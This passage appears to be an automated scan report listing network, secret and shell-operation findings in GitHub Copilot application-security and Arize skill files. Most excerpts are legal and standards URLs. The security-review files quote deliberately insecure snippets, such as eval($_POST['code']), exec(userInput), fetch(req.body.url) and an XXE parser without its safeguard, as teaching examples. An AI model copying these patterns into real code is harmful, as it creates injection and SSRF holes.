    | €150M | Google (France CNIL) | 2022 | source page no longer resolves | | €35.3M | H&M (Hamburg DPA) | 2020 | https://www.datenschutz-hamburg.de/news/detail/article/hamburgische-beauftragte-fuer-datenschutz-und-informationsfreiheit-verhaen
  • Network accessline 52
    | €35.3M | H&M (Hamburg DPA) | 2020 | https://www.datenschutz-hamburg.de/news/detail/article/hamburgische-beauftragte-fuer-datenschutz-und-informationsfreiheit-verhaengt-bussgeld-gegen-hm.html |
  • Network accessline 60
    **Source:** California Civil Code § 1798.155(a) — California Consumer Privacy Act **URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV&sectionNum=1798.155
  • Network accessline 61
    **URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV&sectionNum=1798.155
  • Network accessline 68
    **Private Right of Action source:** California Civil Code § 1798.150 **URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV&sectionNum=1798.150
  • Network accessline 69
    **URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV&sectionNum=1798.150
  • Network accessline 80
    **Source:** 45 CFR § 160.404 — Civil Money Penalties **URL:** https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-160/subpart-D/section-160.404
  • Network accessline 81
    **URL:** https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-160/subpart-D/section-160.404
  • Network accessline 83
    **Source (HHS penalty tiers explained):** HHS Office for Civil Rights **URL:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/agreements/index.html
  • Network accessline 84
    **URL:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/agreements/index.html
  • Network accessline 92
    **URL for current amounts:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/examples/all-cases/index.html
  • Network accessline 96
    **Criminal penalties source:** 42 U.S.C. § 1320d-6 **URL:** https://uscode.house.gov/view.xhtml?req=granuleid:USC-prelim-title42-section1320d-6
  • Network accessline 97
    **URL:** https://uscode.house.gov/view.xhtml?req=granuleid:USC-prelim-title42-section1320d-6
  • Network accessline 103
    **Source:** Lei Geral de Proteção de Dados Pessoais (LGPD) — Lei nº 13.709/2018, Article 52 **URL:** https://www.planalto.gov.br/ccivil_03/_ato2015-2018/2018/lei/l13709.htm
  • Network accessline 104
    **URL:** https://www.planalto.gov.br/ccivil_03/_ato2015-2018/2018/lei/l13709.htm
  • Network accessline 114
    **Source:** Personal Data Protection Act 2012 (Singapore) — Section 48J **URL:** https://sso.agc.gov.sg/Act/PDPA2012
  • Network accessline 115
    **URL:** https://sso.agc.gov.sg/Act/PDPA2012
  • Network accessline 123
    **Source:** IBM Security — "Cost of a Data Breach Report" (published annually since 2005) **URL:** https://www.ibm.com/reports/data-breach
  • Network accessline 124
    **URL:** https://www.ibm.com/reports/data-breach
  • Network accessline 147
    | Regulation | Timeline | Source | |-----------|---------|--------| | GDPR | 72 hours | GDPR Article 33.1 — https://gdpr-info.eu/art-33-gdpr/ |
  • Network accessline 148
    |-----------|---------|--------| | GDPR | 72 hours | GDPR Article 33.1 — https://gdpr-info.eu/art-33-gdpr/ | | UK GDPR | 72 hours | UK GDPR Article 33 (retained EU law) — https://ico.org.uk/for-organisations/report-a-breach/ |
  • Network accessline 149
    | GDPR | 72 hours | GDPR Article 33.1 — https://gdpr-info.eu/art-33-gdpr/ |
  • Network accessline 150
    | UK GDPR | 72 hours | UK GDPR Article 33 (retained EU law) — https://ico.org.uk/for-organisations/report-a-breach/ |
  • Network accessline 151
    | HIPAA | 60 days | 45 CFR § 164.412 — https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-164/subpart-D/section-164.412 |
  • Network accessline 152
    | CCPA | "Most expedient time" | Cal. Civ. Code § 1798.82 — https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV&sectionNum=1798.82 |
  • Network accessline 153
    | Singapore PDPA | 3 calendar days | PDPA Section 26D — https://sso.agc.gov.sg/Act/PDPA2012 |
  • Network accessline 154
    | Australia Privacy Act | 30 days | Privacy Act 1988, APP 1 + NDB Scheme — https://www.oaic.gov.au/privacy/notifiable-data-breaches |
  • Network accessline 155
    | LGPD Brazil | 2 business days (ANPD guidance) | ANPD Resolution CD/ANPD nº 2/2022 — https://www.gov.br/anpd/pt-br |
  • Network accessline 156
    | Japan APPI | 3–5 business days (2022 amendment) | Act on Protection of Personal Information Art. 26 — https://www.ppc.go.jp/en/legal/ |
  • Network accessline 157
    | PIPEDA Canada | "As soon as feasible" | PIPEDA s.10.1 — https://www.priv.gc.ca/en/privacy-topics/privacy-laws-in-canada/the-personal-information-protection-and-electronic-documents-act-pipeda/ |
  • Network accessline 165
    | Component | Based on | |-----------|---------| | Tier Weight × Exposure Likelihood | OWASP Risk Rating Methodology — https://owasp.org/www-community/OWASP_Risk_Rating_Methodology |
  • Network accessline 166
    |-----------|---------| | Tier Weight × Exposure Likelihood | OWASP Risk Rating Methodology — https://owasp.org/www-community/OWASP_Risk_Rating_Methodology | | Completeness Factor | FAIR (Factor Analysis of Information Risk) model — https:/
  • Network accessline 167
    | Tier Weight × Exposure Likelihood | OWASP Risk Rating Methodology — https://owasp.org/www-community/OWASP_Risk_Rating_Methodology |
  • Network accessline 168
    | Completeness Factor | FAIR (Factor Analysis of Information Risk) model — https://www.fairinstitute.org/ |
  • Network accessline 169
    | Population Scale normalization | CVSS v4.0 Attack Scale metric — https://www.first.org/cvss/v4-0/ |
  • Network accessline 170
    | Context multipliers | GDPR recitals 75, 91 (special categories increase risk level) — https://gdpr-info.eu/recitals/no-75/ |

harness/github-copilot/plugins/application-security/skills/data-breach-blast-radius/references/blast-radius-calculator.md

  • Network accessline 237
    Use these when no specific cost data is available. Figures below are from the **IBM 2024 edition**. IBM publishes a new edition annually at https://www.ibm.com/reports/data-breach — the 2025 report reports a ~9% decrease in global average c

harness/github-copilot/plugins/application-security/skills/data-breach-blast-radius/references/data-classification.md

  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 55
    [Credential-related source omitted]
  • Access to secretsline 57
    [Credential-related source omitted]
  • Access to secretsline 58
    [Credential-related source omitted]

harness/github-copilot/plugins/application-security/skills/data-breach-blast-radius/references/hardening-playbook.md

  • Access to secretsline 144
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 396
    [Credential-related source omitted]

harness/github-copilot/plugins/application-security/skills/data-breach-blast-radius/references/regulatory-impact.md

  • Network accessline 150
    **Legal source:** GDPR Article 83 — https://gdpr-info.eu/art-83-gdpr/
  • Network accessline 190
    **Legal source:** California Civil Code § 1798.155(a) (as amended June 30, 2025, Stats. 2025, Ch. 20) — https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV&sectionNum=1798.155
  • Network accessline 191
    **Private right of action source:** California Civil Code § 1798.150 — https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV&sectionNum=1798.150
  • Network accessline 222
    **Legal source:** 45 CFR § 160.404 — https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-160/subpart-D/section-160.404
  • Network accessline 223
    **HHS enforcement page:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/examples/all-cases/index.html
  • Network accessline 247
    **Legal source:** Lei nº 13.709/2018 (LGPD) — Article 52, I — https://www.planalto.gov.br/ccivil_03/_ato2015-2018/2018/lei/l13709.htm
  • Network accessline 248
    **ANPD (Brazilian DPA):** https://www.gov.br/anpd/pt-br
  • Network accessline 282
    **Benchmark source:** IBM Security + Ponemon Institute — "Cost of a Data Breach Report" (annually updated)   **URL:** https://www.ibm.com/reports/data-breach   Figures below are from the **2024 edition** (last verified). IBM 2025 shows a 9%
  • Network accessline 283
    **URL:** https://www.ibm.com/reports/data-breach

harness/github-copilot/plugins/application-security/skills/data-breach-blast-radius/references/report-format.md

  • Network accessline 263
    *This report was generated by the [data-breach-blast-radius](https://github.com/github/awesome-copilot/tree/main/skills/data-breach-blast-radius) skill for GitHub Copilot.*

harness/github-copilot/plugins/application-security/skills/gdpr-compliant/references/Security.md

  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 190
    [Credential-related source omitted]

harness/github-copilot/plugins/application-security/skills/secret-scanning/SKILL.md

  • Network accessline 153
    - [Secret scanning in AI coding agents via the GitHub MCP Server](https://github.blog/changelog/2026-03-17-secret-scanning-in-ai-coding-agents-via-the-github-mcp-server/)

harness/github-copilot/plugins/application-security/skills/secret-scanning/references/push-protection.md

  • Network accessline 155
    For the full list of patterns supported by push protection, see [Supported secret scanning patterns](https://docs.github.com/en/code-security/secret-scanning/introduction/supported-secret-scanning-patterns).

harness/github-copilot/plugins/application-security/skills/security-review/references/language-patterns.md

  • Dangerous shell operationline 11
    eval()                    // arbitrary code execution
  • Dangerous shell operationline 87
    eval(request.args.get('expr'))
  • Network accessline 116
    // XXE DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); // Missing: dbf.setFeature("http://apache.org/xml/features/" + "disallow-doctype-decl", true)
  • Network accessline 118
    // Missing: dbf.setFeature("http://apache.org/xml/features/" + "disallow-doctype-decl", true)
  • Dangerous shell operationline 143
    eval($_POST['code']);
  • Dangerous shell operationline 192
    eval(params[:code])

harness/github-copilot/plugins/application-security/skills/security-review/references/report-format.md

  • Network accessline 114
    Action Required:   1. Rotate this key IMMEDIATELY at https://dashboard.stripe.com
  • Network accessline 115
    1. Rotate this key IMMEDIATELY at https://dashboard.stripe.com
  • Access to secretsline 117
    [Credential-related source omitted]
  • Access to secretsline 118
    [Credential-related source omitted]

harness/github-copilot/plugins/application-security/skills/security-review/references/secret-patterns.md

  • Access to secretsline 86
    [Credential-related source omitted]
  • Access to secretsline 114
    [Credential-related source omitted]
  • Access to secretsline 142
    [Credential-related source omitted]
  • Access to secretsline 151
    [Credential-related source omitted]
  • Access to secretsline 154
    [Credential-related source omitted]
  • Access to secretsline 171
    [Credential-related source omitted]
  • Access to secretsline 172
    [Credential-related source omitted]
  • Access to secretsline 173
    [Credential-related source omitted]
  • Access to secretsline 174
    [Credential-related source omitted]

harness/github-copilot/plugins/application-security/skills/security-review/references/vuln-categories.md

  • Dangerous shell operationline 46
    - `eval()`, `setTimeout(string)`, `setInterval(string)` with user data
  • Dangerous shell operationline 61
    exec(userInput)
  • Dangerous shell operationline 71
    eval(user_input)
  • Dangerous shell operationline 76
    exec($input)
  • Network accessline 100
    fetch(req.body.url)
  • Access to secretsline 171
    [Credential-related source omitted]

harness/github-copilot/plugins/application-security/skills/security-review/references/vulnerable-packages.md

  • Network accessline 90
    Reference: https://rustsec.org/advisories/
  • Network accessline 96
    Reference: https://pkg.go.dev/vuln/ and https://vuln.go.dev

harness/github-copilot/plugins/application-security/skills/threat-model-analyst/references/analysis-principles.md

  • Network accessline 184
    Reference: https://owasp.org/Top10/2025/
  • Network accessline 387
    ### SDL Bugbar Severity Classify each finding per: https://www.microsoft.com/en-us/msrc/sdlbugbar
  • Network accessline 388
    Classify each finding per: https://www.microsoft.com/en-us/msrc/sdlbugbar
  • Network accessline 390
    ### CVSS 4.0 Score Use CVSS v4.0 Base score (0.0-10.0) with vector string. Reference: https://www.first.org/cvss/v4.0/specification-document
  • Network accessline 392
    Reference: https://www.first.org/cvss/v4.0/specification-document
  • Network accessline 394
    ### CWE Assign Common Weakness Enumeration ID and name. Reference: https://cwe.mitre.org/
  • Network accessline 396
    Reference: https://cwe.mitre.org/
  • Network accessline 399
    Map to OWASP Top 10:2025 category if applicable (A01-A10). **ALWAYS use `:2025` suffix** (e.g., `A01:2025`), never `:2021`. Reference: https://owasp.org/Top10/2025/
  • Network accessline 401
    Reference: https://owasp.org/Top10/2025/

harness/github-copilot/plugins/application-security/skills/threat-model-analyst/references/orchestrator.md

  • Network accessline 50
    20. **Deployment Classification is BINDING.** In `0.1-architecture.md`, set `Deployment Classification` and fill the Component Exposure Table. If classification is `LOCALHOST_DESKTOP` or `LOCALHOST_SERVICE`: zero T1 findings, zero `Prerequi
  • Network accessline 51
    21. Finding IDs MUST be sequential top-to-bottom: FIND-01, FIND-02, FIND-03... Renumber after sorting 22. CWE MUST include hyperlink: `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication` 23. After STRIDE, run
  • Network accessline 52
    22. CWE MUST include hyperlink: `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication`

harness/github-copilot/plugins/application-security/skills/threat-model-analyst/references/output-formats.md

  • Network accessline 369
    | SDL Bugbar Severity | Critical / Important / Moderate / Low | | CVSS 4.0 | Score AND full vector string (e.g., `9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)`) — BOTH are mandatory | | CWE | ID, name, AND hyperlink
  • Network accessline 370
    | CVSS 4.0 | Score AND full vector string (e.g., `9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)`) — BOTH are mandatory | | CWE | ID, name, AND hyperlink (e.g., `[CWE-306](https://cwe.mitre.org/data/definitions/306.ht
  • Network accessline 371
    | CWE | ID, name, AND hyperlink (e.g., `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function`) |
  • Network accessline 387
    | SDL Bugbar Severity | Critical | | CVSS 4.0 | 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) | | CWE | [CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function |
  • Network accessline 388
    | CVSS 4.0 | 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) | | CWE | [CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function | | OWASP | A07:2025 – Authentication Fail
  • Network accessline 389
    | CWE | [CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function |
  • Network accessline 614
    | Standard | URL | How Used | |----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification |
  • Network accessline 615
    |----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | | OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization |
  • Network accessline 616
    | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification |
  • Network accessline 617
    | OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization |
  • Network accessline 618
    | CVSS 4.0 | https://www.first.org/cvss/v4.0/specification-document | Risk scoring |
  • Network accessline 619
    | CWE | https://cwe.mitre.org/ | Weakness classification |
  • Network accessline 620
    | STRIDE | https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-threats | Threat enumeration methodology |
  • Network accessline 621
    | NIST SP 800-53 Rev. 5 | https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final | Control mapping |
  • Network accessline 624
    | Component | Documentation URL | Relevant Section | |-----------|------------------|------------------| | [e.g., Dapr] | [e.g., https://docs.dapr.io/operations/security/] | [e.g., mTLS configuration] |
  • Network accessline 625
    |-----------|------------------|------------------| | [e.g., Dapr] | [e.g., https://docs.dapr.io/operations/security/] | [e.g., mTLS configuration] | | [e.g., Redis] | [e.g., https://redis.io/docs/management/security/] | [e.g., Authenticati
  • Network accessline 626
    | [e.g., Dapr] | [e.g., https://docs.dapr.io/operations/security/] | [e.g., mTLS configuration] |
  • Network accessline 627
    | [e.g., Redis] | [e.g., https://redis.io/docs/management/security/] | [e.g., Authentication] |
  • Network accessline 630
    **Processing Rules:** 1. Always include the Security Standards table — populate with actual standards consulted 2. Every row MUST have a full URL (https://{example-url}) — never omit the URL column
  • Network accessline 631
    1. Always include the Security Standards table — populate with actual standards consulted 2. Every row MUST have a full URL (https://{example-url}) — never omit the URL column 3. Populate Component Documentation with technologies actually c
  • Network accessline 632
    2. Every row MUST have a full URL (https://{example-url}) — never omit the URL column
  • Network accessline 709
    21.  Skipping `## Report Files`, `## References Consulted`, or `## Report Metadata` →  ALL 7 sections in 0-assessment.md are MANDATORY. Never omit any. 22.  Finding IDs out of order (FIND-06 before FIND-04) →  Finding IDs MUST be sequential
  • Network accessline 710
    22.  Finding IDs out of order (FIND-06 before FIND-04) →  Finding IDs MUST be sequential top-to-bottom: FIND-01, FIND-02, FIND-03, ... Renumber after sorting. 23.  CWE without hyperlink →  CWE MUST include hyperlink: `[CWE-306](https://cwe.
  • Network accessline 711
    23.  CWE without hyperlink →  CWE MUST include hyperlink: `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function`
  • Network accessline 732
    "branch": "main",   "analysis_timestamp": "2025-08-15T14:30:00Z",   "repository": "https://github.com/org/repo",
  • Network accessline 733
    "analysis_timestamp": "2025-08-15T14:30:00Z",   "repository": "https://github.com/org/repo",   "report_folder": "threat-model-20250815-143000",
  • Network accessline 734
    "repository": "https://github.com/org/repo",
  • Access to secretsline 948
    [Credential-related source omitted]

harness/github-copilot/plugins/application-security/skills/threat-model-analyst/references/skeletons/skeleton-assessment.md

  • Network accessline 191
    | Standard | URL | How Used | |----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification |
  • Network accessline 192
    |----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | | OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization |
  • Network accessline 193
    | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification |
  • Network accessline 194
    | OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization |
  • Network accessline 195
    | CVSS 4.0 | https://www.first.org/cvss/v4.0/specification-document | Risk scoring |
  • Network accessline 196
    | CWE | https://cwe.mitre.org/ | Weakness classification |
  • Network accessline 197
    | STRIDE | https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-threats | Threat enumeration |
  • Network accessline 256
    | **Incremental Tags** | `[Existing]` · `[Fixed]` · `[Partial]` · `[New]` · `[Removed]` (incremental reports only) | | **CVSS** | CVSS 4.0 vector with `CVSS:4.0/` prefix | | **CWE** | Hyperlinked CWE ID (e.g., [CWE-306](https://cwe.mitre.or
  • Network accessline 257
    | **CVSS** | CVSS 4.0 vector with `CVSS:4.0/` prefix | | **CWE** | Hyperlinked CWE ID (e.g., [CWE-306](https://cwe.mitre.org/data/definitions/306.html)) | | **OWASP** | OWASP Top 10:2025 mapping (e.g., A01:2025 – Broken Access Control) |
  • Network accessline 258
    | **CWE** | Hyperlinked CWE ID (e.g., [CWE-306](https://cwe.mitre.org/data/definitions/306.html)) |

harness/github-copilot/plugins/application-security/skills/threat-model-analyst/references/skeletons/skeleton-findings.md

  • Network accessline 23
    | SDL Bugbar Severity | [FILL: Critical / Important / Moderate / Low] | | CVSS 4.0 | [FILL: N.N] (CVSS:4.0/[FILL: full vector starting with AV:]) | | CWE | [CWE-[FILL: NNN]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html: NNN].html): 
  • Network accessline 24
    | CVSS 4.0 | [FILL: N.N] (CVSS:4.0/[FILL: full vector starting with AV:]) | | CWE | [CWE-[FILL: NNN]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html: NNN].html): [FILL: weakness name] | | OWASP | A[FILL: NN]:2025 – [FILL: category nam
  • Network accessline 25
    | CWE | [CWE-[FILL: NNN]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html: NNN].html): [FILL: weakness name] |
  • Network accessline 84
    | SDL Bugbar Severity | [FILL] | | CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] |
  • Network accessline 85
    | CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] | | OWASP | A[FILL]:2025 – [FILL] |
  • Network accessline 86
    | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] |
  • Network accessline 128
    | SDL Bugbar Severity | [FILL] | | CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] |
  • Network accessline 129
    | CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] | | OWASP | A[FILL]:2025 – [FILL] |
  • Network accessline 130
    | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] |

harness/github-copilot/plugins/application-security/skills/threat-model-analyst/references/tmt-element-taxonomy.md

  • Network accessline 67
    | TMT ID | Name | Code Patterns to Identify | |--------|------|---------------------------| | `SE.DF.TMCore.HTTP` | HTTP | `fetch()`, `axios`, `HttpClient`, REST without TLS |
  • Network accessline 68
    |--------|------|---------------------------| | `SE.DF.TMCore.HTTP` | HTTP | `fetch()`, `axios`, `HttpClient`, REST without TLS | | `SE.DF.TMCore.HTTPS` | HTTPS | TLS-secured REST, `https://` endpoints |
  • Network accessline 69
    | `SE.DF.TMCore.HTTP` | HTTP | `fetch()`, `axios`, `HttpClient`, REST without TLS |
  • Network accessline 70
    | `SE.DF.TMCore.HTTPS` | HTTPS | TLS-secured REST, `https://` endpoints |
  • Network accessline 124
    | Flow Type | Code Patterns | |-----------|---------------| | **HTTP/HTTPS** | `fetch()`, `axios`, `HttpClient`, REST calls |
  • Network accessline 125
    |-----------|---------------| | **HTTP/HTTPS** | `fetch()`, `axios`, `HttpClient`, REST calls | | **SQL Database** | ORM queries, SQL connections, `DbContext` |
  • Network accessline 126
    | **HTTP/HTTPS** | `fetch()`, `axios`, `HttpClient`, REST calls |

harness/github-copilot/plugins/application-security/skills/threat-model-analyst/references/verification-checklist.md

  • Network accessline 29
    - [ ] Every `#### Evidence` section cites specific file paths, line numbers, or config keys (not generic statements like "found in codebase") - [ ] Every finding has ALL 10 mandatory attribute rows: `SDL Bugbar Severity`, `CVSS 4.0`, `CWE`,
  • Network accessline 30
    - [ ] Every finding has ALL 10 mandatory attribute rows: `SDL Bugbar Severity`, `CVSS 4.0`, `CWE`, `OWASP`, `Exploitation Prerequisites`, `Exploitability Tier`, `Remediation Effort`, `Mitigation Type`, `Component`, `Related Threats` - [ ] E
  • Network accessline 31
    - [ ] Every CWE value is a hyperlink: contains `](https://cwe.mitre.org/` (not plain text like `CWE-79`)
  • Network accessline 170
    - [ ] **References Consulted as flat table **— Search for `| Reference | Usage |` pattern. Two-column flat table → Two subsections: `### Security Standards` with `| Standard | URL | How Used |` and `### Component Documentation` with `| Comp
  • Network accessline 171
    - [ ] **References missing URLs **— Every row in References Consulted tables must have a full `https://` URL. Missing URL column or empty URLs → Full URLs in every row
  • Network accessline 177
    - [ ] **CVSS score without vector or missing prefix **— Grep each finding's CVSS field. The value MUST match pattern: `\d+\.\d+ \(CVSS:4\.0/AV:`. Specifically check for the `CVSS:4.0/` prefix — the most common deviation is outputting the ve
  • Network accessline 178
    - [ ] **CWE without hyperlink **— Grep for `CWE-\d+` without preceding `[`. `CWE-78: OS Command Injection` → `[CWE-78](https://cwe.mitre.org/data/definitions/78.html): OS Command Injection`

harness/github-copilot/plugins/application-security/skills/tm7-threat-model/SKILL.md

  • Network accessline 60
    <ThreatModel xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
  • Network accessline 77
    | Prefix | URI | Used for | |--------|-----|----------| | (default) | `http://schemas.datacontract.org/2004/07/ThreatModeling.Model` | Root `ThreatModel` |
  • Network accessline 78
    |--------|-----|----------| | (default) | `http://schemas.datacontract.org/2004/07/ThreatModeling.Model` | Root `ThreatModel` | | `xmlns:i` | `http://www.w3.org/2001/XMLSchema-instance` | Type attributes |
  • Network accessline 79
    | (default) | `http://schemas.datacontract.org/2004/07/ThreatModeling.Model` | Root `ThreatModel` |
  • Network accessline 80
    | `xmlns:i` | `http://www.w3.org/2001/XMLSchema-instance` | Type attributes |
  • Network accessline 81
    | `xmlns:z` | `http://schemas.microsoft.com/2003/10/Serialization/` | Reference ids (`z:Id`) |
  • Network accessline 82
    | `xmlns:a` | `http://schemas.microsoft.com/2003/10/Serialization/Arrays` | Arrays / collections |
  • Network accessline 83
    | `xmlns:b` | `http://schemas.datacontract.org/2004/07/ThreatModeling.KnowledgeBase` | Stencil properties |
  • Network accessline 84
    | `xmlns:c` | `http://www.w3.org/2001/XMLSchema` | Primitive type values |
  • Network accessline 150
    <b:DisplayName>Name</b:DisplayName>         <b:Name/>         <b:Value i:type="c:string" xmlns:c="http://www.w3.org/2001/XMLSchema">My Component</b:Value>
  • Network accessline 151
    <b:Name/>         <b:Value i:type="c:string" xmlns:c="http://www.w3.org/2001/XMLSchema">My Component</b:Value>       </a:anyType>
  • Network accessline 152
    <b:Value i:type="c:string" xmlns:c="http://www.w3.org/2001/XMLSchema">My Component</b:Value>
  • Network accessline 309
    8. **Missing the `xmlns` on child elements** — each `GenericTypeId`, `Guid`, `Properties`,    `TypeId`, etc. must carry its own    `xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts"`.
  • Network accessline 310
    `TypeId`, etc. must carry its own    `xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts"`. 9. **Pretty-printing with indentation** — the correct output is a single continuous XML stream
  • Network accessline 311
    `xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts"`.
  • Network accessline 360
    - [ ] The file starts with `<ThreatModel xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">` and has no XML declaration.
  • Network accessline 370
    - [ThreatModeling.Model namespace](http://schemas.datacontract.org/2004/07/ThreatModeling.Model)
  • Network accessline 371
    - [ThreatModeling.Model.Abstracts namespace](http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts)
  • Network accessline 372
    - [ThreatModeling.KnowledgeBase namespace](http://schemas.datacontract.org/2004/07/ThreatModeling.KnowledgeBase)
  • Network accessline 373
    - [Serialization namespace](http://schemas.microsoft.com/2003/10/Serialization/)
  • Network accessline 374
    - [Serialization arrays namespace](http://schemas.microsoft.com/2003/10/Serialization/Arrays)
  • Network accessline 375
    - [XML Schema namespace](http://www.w3.org/2001/XMLSchema)
  • Network accessline 376
    - [XML Schema instance namespace](http://www.w3.org/2001/XMLSchema-instance)

harness/github-copilot/plugins/application-security/skills/tm7-threat-model/assets/example-minimal.tm7

  • Network accessline 1
    <ThreatModel xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><DrawingSurfaceList><DrawingSurfaceModel z:Id="i1" xmlns:z="http://schemas.microsoft.com/2003/10/Serializa

harness/github-copilot/plugins/arize-ax/skills/arize-ai-provider-integration/SKILL.md

  • Access to secretsline 48
    [Credential-related source omitted]
  • Network accessline 105
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Network accessline 106
    [Credential-related source omitted]
  • Access to secretsline 106
    [Credential-related source omitted]
  • Network accessline 107
    [Credential-related source omitted]
  • Access to secretsline 107
    [Credential-related source omitted]
  • Network accessline 109
    | `vertexAI` | `ax ai-integrations create --name "My Vertex AI Integration" --provider vertexAI --provider-metadata '{"project_id": "my-gcp-project", "location": "us-central1"}'` | | `gemini` | `ax ai-integrations create --name "My Gemini I
  • Network accessline 110
    [Credential-related source omitted]
  • Access to secretsline 110
    [Credential-related source omitted]
  • Network accessline 111
    [Credential-related source omitted]
  • Access to secretsline 111
    [Credential-related source omitted]
  • Network accessline 112
    [Credential-related source omitted]
  • Access to secretsline 112
    [Credential-related source omitted]
  • Network accessline 131
    [Credential-related source omitted]
  • Access to secretsline 131
    [Credential-related source omitted]
  • Network accessline 133
    ax ai-integrations update NAME_OR_ID --base-url "https://new-endpoint.example.com/v1"
  • Network accessline 148
    | --- | --- | | `ax: command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show` or `ax profiles show --expand`; if missing or wrong, read `references/ax-profiles.m
  • Network accessline 149
    | `ax: command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show` or `ax profiles show --expand`; if missing or wrong, read `references/ax-profiles.md`; direct use
  • Network accessline 150
    | `401 Unauthorized` or missing API key | Run `ax profiles show` or `ax profiles show --expand`; if missing or wrong, read `references/ax-profiles.md`; direct users without a key to https://app.arize.com/admin > API Keys. |
  • Access to secretsline 152
    [Credential-related source omitted]
  • Access to secretsline 153
    [Credential-related source omitted]
  • Access to secretsline 155
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 189
    [Credential-related source omitted]
  • Network accessline 215
    - [Arize API Keys](https://app.arize.com/admin)
  • Network accessline 216
    - [Azure OpenAI endpoint example](https://my-resource.openai.azure.com/)
  • Network accessline 217
    - [NVIDIA NIM endpoint example](https://integrate.api.nvidia.com/v1/models)
  • Network accessline 218
    - [Custom OpenAI-compatible endpoint example](https://my-llm-proxy.example.com/v1)
  • Network accessline 219
